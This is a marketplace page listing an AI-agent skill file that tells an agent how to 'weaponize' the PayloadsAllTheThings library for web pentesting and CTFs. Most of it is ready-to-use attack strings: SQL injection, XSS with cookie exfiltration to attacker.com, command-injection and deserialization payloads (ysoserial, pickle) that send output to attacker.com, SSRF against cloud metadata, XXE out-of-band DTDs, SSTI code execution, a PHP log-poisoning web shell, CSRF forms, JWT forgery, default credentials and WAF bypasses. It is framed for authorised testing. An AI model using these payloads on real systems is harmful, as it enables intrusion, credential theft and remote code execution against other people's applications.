agentsclimarketplace

Payloads all the things

Skill jph4cks/redhound-arsenal/payloads-all-the-things

76 AI-agent security skills for Kali Linux tools — pentest, red team, forensics, OSINT, and more. Machine-readable skill definitions by Red Hound InfoSec.

Install
npx -y skills add jph4cks/redhound-arsenal --skill payloads-all-the-things

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

One thing to look at

  • 6 stars6 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.

What its author says it does

Copied from the file, not written here

Use and weaponize the PayloadsAllTheThings payload library for web application penetration testing and CTF engagements. Use when the user needs injection payloads, bypass techniques, or exploitation strings for SQL injection, XSS, command injection, SSRF, XXE, SSTI, CSRF, LFI/RFI, directory traversal, authentication bypass, or deserialization attacks. Covers payload selection, real-world delivery with Burp Suite and curl, WAF bypass, chaining vulnerabilities, and reporting. Source: https://github.com/swisskyrepo/PayloadsAllTheThings

SKILL.md

13.1 KB, as published. Nobody here has run it

payloads-all-the-things Agent Skill

When to Use This Skill

Use this skill when:

  • The user needs injection payloads for a web application pentest or CTF
  • Testing for SQLi, XSS, SSTI, SSRF, XXE, command injection, LFI/RFI, or deserialization
  • Looking for WAF bypass strings or encoding tricks
  • Delivering payloads via Burp Suite, curl, or automated tooling
  • The user references PayloadsAllTheThings (PATT) or asks for a payload cheat sheet

What PayloadsAllTheThings Is

PayloadsAllTheThings is a community-maintained repository of attack payloads and bypass techniques organized by vulnerability class. It is a reference library — not a tool — used to hand-pick or adapt payloads for manual and semi-automated testing. Pair it with Burp Suite, curl, ffuf, or sqlmap to deliver payloads systematically.

Installation / Local Mirror

# Clone for offline access (recommended for engagements without internet)
git clone --depth=1 https://github.com/swisskyrepo/PayloadsAllTheThings.git
cd PayloadsAllTheThings

# Directory structure
ls
# Command Injection/
# Directory Traversal/
# File Inclusion/
# NoSQL Injection/
# Server Side Request Forgery/
# Server Side Template Injection/
# SQL Injection/
# XSS Injection/
# XXE Injection/
# ... (40+ categories)

# Quick grep for a payload type
grep -r "sleep(5)" "SQL Injection/"
grep -r "{{7*7}}" "Server Side Template Injection/"

SQL Injection Payloads

Detection / Error-Based

-- Classic detection
'
''
`
')
"))
' OR '1'='1
' OR 1=1--
' OR 1=1#
' OR 1=1/*

-- Error-based (MySQL)
' AND extractvalue(1,concat(0x7e,version()))--
' AND updatexml(1,concat(0x7e,version()),1)--

-- Error-based (MSSQL)
' AND 1=convert(int,(SELECT TOP 1 table_name FROM information_schema.tables))--

-- Time-based blind
' AND SLEEP(5)--
'; WAITFOR DELAY '0:0:5'--          -- MSSQL
' AND 1=(SELECT 1 FROM PG_SLEEP(5))-- -- PostgreSQL

Union-Based Extraction

-- Find column count
' ORDER BY 1--
' ORDER BY 2--    (increment until error)

-- Find injectable column (string context)
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 'a',NULL,NULL--

-- Extract data (MySQL)
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT username,password,NULL FROM users--

-- File read via UNION (MySQL, requires FILE privilege)
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL,NULL--

Delivery with curl and Burp

# curl with URL-encoded payload
curl -s "http://target/item?id=1%27%20UNION%20SELECT%20user(),version(),NULL--"

# curl with POST body
curl -s -X POST http://target/login \
  -d "user=admin'--&pass=x"

# Burp: send to Intruder, mark §injection§ position, load PATT wordlist
# Wordlist path after cloning:
cat PayloadsAllTheThings/SQL\ Injection/Intruder/Auth_Bypass.txt
cat PayloadsAllTheThings/SQL\ Injection/Intruder/FUZZ_INT.txt

XSS Payloads

Reflected / Stored

<!-- Basic alert probes -->
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>

<!-- Attribute injection -->
" onmouseover="alert(1)
' onfocus='alert(1)' autofocus='

<!-- Filter bypass -->
<ScRiPt>alert(1)</ScRiPt>
<script/src=//evil.com/x.js></script>
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;(1)">
<<script>alert(1)//<</script>
<svg><script>alert&#40;1&#41;</script></svg>

<!-- JavaScript URI -->
javascript:alert(1)
jaVaScRiPt:alert(1)
data:text/html,<script>alert(1)</script>

DOM XSS Sinks

// Common sink patterns to test in source code review
document.write(location.hash)
document.innerHTML = location.search
eval(location.hash.slice(1))

// Probe: append to URL hash
http://target/page#<img src=x onerror=alert(1)>
http://target/page?q=<svg onload=alert(1)>

XSS to Cookie Exfil

<script>
fetch('https://attacker.com/log?c='+btoa(document.cookie))
</script>

<img src=x onerror="new Image().src='https://attacker.com/?c='+document.cookie">

Command Injection

Detection Strings

; id
| id
|| id
& id
&& id
`id`
$(id)
; sleep 5
| sleep 5
; ping -c 3 attacker.com

Blind OOB (Out-of-Band) Confirmation

# DNS exfil via curl/wget/nslookup
; curl http://$(whoami).attacker.com/
; nslookup `whoami`.attacker.com
; wget http://attacker.com/$(id|base64)
# Listen: python3 -m http.server 80 or use Burp Collaborator

Filter Bypass

# Space bypass
{IFS}id       # $IFS in bash
cat${IFS}/etc/passwd
cat</etc/passwd

# Slash bypass
cat /etc/pa$()sswd
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash

# Quote tricks
c'a't /etc/passwd
c"a"t /etc/passwd

Server-Side Request Forgery (SSRF)

Basic Probes

http://127.0.0.1/
http://localhost/
http://[::1]/
http://0.0.0.0/
http://169.254.169.254/latest/meta-data/   # AWS IMDSv1
http://metadata.google.internal/computeMetadata/v1/  # GCP (needs header)
http://169.254.169.254/metadata/v1/        # DigitalOcean

Protocol Wrappers

file:///etc/passwd
dict://127.0.0.1:6379/info      # Redis
gopher://127.0.0.1:9200/_cat/indices  # Elasticsearch
sftp://attacker.com:11111/
ldap://127.0.0.1:389/%0astats%0aquit

Bypass Techniques

# IP encoding
http://2130706433/          # 127.0.0.1 decimal
http://0x7f000001/          # 127.0.0.1 hex
http://0177.0.0.1/          # 127.0.0.1 octal

# DNS rebinding / redirector
http://attacker.com/redirect?to=http://169.254.169.254/

# IPv6
http://[::ffff:7f00:1]/

XML External Entity (XXE)

Classic File Read

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><name>&xxe;</name></root>

Blind OOB via DTD

<!-- Attacker-hosted evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % oob "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/?d=%file;'>">
%oob; %send;

<!-- Payload in request -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote;]>
<root/>

XXE in JSON Endpoints

# Change Content-Type to trigger XML parser
curl -X POST http://target/api/parse \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>'

Server-Side Template Injection (SSTI)

Detection Polyglot

{{7*7}}          → 49 (Jinja2/Twig)
${7*7}           → 49 (FreeMarker/Thymeleaf)
<%= 7*7 %>       → 49 (ERB/JSP)
#{7*7}           → 49 (Ruby/Slim)
{{7*'7'}}        → 7777777 (Jinja2)

RCE by Engine

# Jinja2 (Python)
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()[396]("id",shell=True,stdout=-1).communicate()[0].strip()}} <!-- markdown-link-check: ignore -->
{%for c in [].__class__.__base__.__subclasses__()%}{%if c.__name__=='catch_warnings'%}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').system('id')")}}{% endif %}{% endfor %}

# Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# FreeMarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

# ERB (Ruby)
<%= system("id") %>

Directory Traversal

# Basic
../../../etc/passwd
..\..\..\windows\win.ini

# Encoding bypasses
..%2f..%2f..%2fetc%2fpasswd
..%252f..%252fetc%252fpasswd    # double URL encode
%2e%2e%2f%2e%2e%2fetc%2fpasswd
....//....//etc/passwd          # strip ../ bypass
..././..././etc/passwd          # ../ strip bypass

# Null byte (old PHP)
../../../../etc/passwd%00.jpg

# Absolute path
/etc/passwd
C:\Windows\System32\drivers\etc\hosts

Authentication Bypass

SQL Auth Bypass

admin'--
admin'#
' OR 1=1--
' OR '1'='1'--
admin') OR ('1'='1
') OR 1=1--
1' OR '1' = '1

JWT Manipulation

# None algorithm attack
# Decode header, change alg to "none", remove signature
echo -n '{"alg":"none","typ":"JWT"}' | base64
# Forge: header.payload. (empty signature)

# HS256 with RS256 public key confusion
# If server uses RS256 but accepts HS256, sign with the public key as HMAC secret

Default Credentials (top combos)

admin:admin       admin:password    admin:1234
root:root         root:toor         admin:
test:test         guest:guest       operator:operator

File Inclusion (LFI/RFI)

# LFI wrappers (PHP)
php://filter/convert.base64-encode/resource=/etc/passwd
php://filter/read=string.rot13/resource=/etc/passwd
php://input    # + POST body as PHP code
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=

# Log poisoning via LFI
# 1. Poison the log: curl -A "<?php system(\$_GET['c']); ?>" http://target/
# 2. Include: ?page=/var/log/apache2/access.log&c=id

# RFI
?page=http://attacker.com/shell.txt
?page=\\attacker.com\share\shell.txt   # Windows UNC

Deserialization Attacks

Java (ysoserial)

# Generate payload for Commons Collections gadget chain
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/$(id)' > payload.ser

# Deliver via HTTP POST, cookie, or parameter
curl -X POST http://target/api \
  -H "Content-Type: application/x-java-serialized-object" \
  --data-binary @payload.ser

PHP Object Injection

// Vulnerable code pattern: unserialize($_GET['data'])
// Craft malicious object manually or use PHPGGC:
./phpggc Monolog/RCE1 system id
./phpggc -u --fast-destruct Laravel/RCE11 system "curl http://attacker.com"

Python Pickle RCE

import pickle, os, base64

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/$(id)',))

payload = base64.b64encode(pickle.dumps(Exploit())).decode()
# Send as cookie or parameter value

CSRF Payloads

<!-- GET-based -->
<img src="http://target/account/delete?confirm=yes">

<!-- POST-based (auto-submit form) -->
<form action="http://target/transfer" method="POST" id="f">
  <input name="to" value="attacker">
  <input name="amount" value="10000">
</form>
<script>document.getElementById('f').submit();</script>

<!-- JSON CSRF (if no CORS protection) -->
<script>
fetch('http://target/api/change-email',{
  method:'POST',
  credentials:'include',
  headers:{'Content-Type':'application/json'},
  body:'{"email":"[email protected]"}'
})
</script>

Burp Suite Integration

1. Send request to Repeater → manually test single payloads
2. Send to Intruder → load PATT wordlist files for fuzzing
   Wordlists live in: PayloadsAllTheThings/<Category>/Intruder/
3. Extensions:
   - Active Scan++ uses PATT-style payloads automatically
   - Copy As Python-Requests for curl reproduction
4. Match & Replace rules: auto-append SQLi probe to every GET param

Common Workflows

Enumeration → Exploitation Chain

# 1. Find parameter reflection
ffuf -u "http://target/search?q=FUZZ" -w PayloadsAllTheThings/XSS\ Injection/Intruder/xss-reflected.txt -mr "<script"

# 2. Confirm SQLi with time-based
curl -s "http://target/item?id=1' AND SLEEP(5)--" --max-time 10

# 3. Hand off to sqlmap
sqlmap -u "http://target/item?id=1" --level=3 --risk=2 --dbs

WAF Bypass Workflow

# Test baseline: blocked or not?
curl -s -o /dev/null -w "%{http_code}" "http://target/?x=<script>alert(1)</script>"

# Try encoding variants from PATT
# URL encode, double encode, Unicode, HTML entity
curl -s "http://target/?x=%3Cscript%3Ealert(1)%3C%2Fscript%3E"
curl -s "http://target/?x=\u003cscript\u003ealert(1)\u003c/script\u003e"

# Tamper scripts for sqlmap
sqlmap -u "http://target/?id=1" --tamper=space2comment,charencode,between

Troubleshooting

SymptomLikely CauseFix
Payload blocked by WAFSignature matchTry encoding, case variation, comment insertion
SQLi payload causes 500Syntax mismatch (DB type)Identify DB type first; use DB-specific syntax
SSRF returns emptyOutbound filteredTry DNS-only OOB; check Collaborator/interactsh
SSTI outputs literal {{7*7}}Template engine not detected or escapedTry alternate delimiters ${, #{}, <%= %>
XSS reflected but not executingCSP blocking inline scriptsCheck CSP header; look for JSONP/script-src bypass

Built by Red Hound InfoSec — On-demand offensive security expertise for SMBs. 20+ years of Fortune 500 experience. Penetration testing, attack surface analysis, and security consulting.

redhound.us | GitHub | Book a consultation

Keep looking

Skills are one crate of 328,083. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.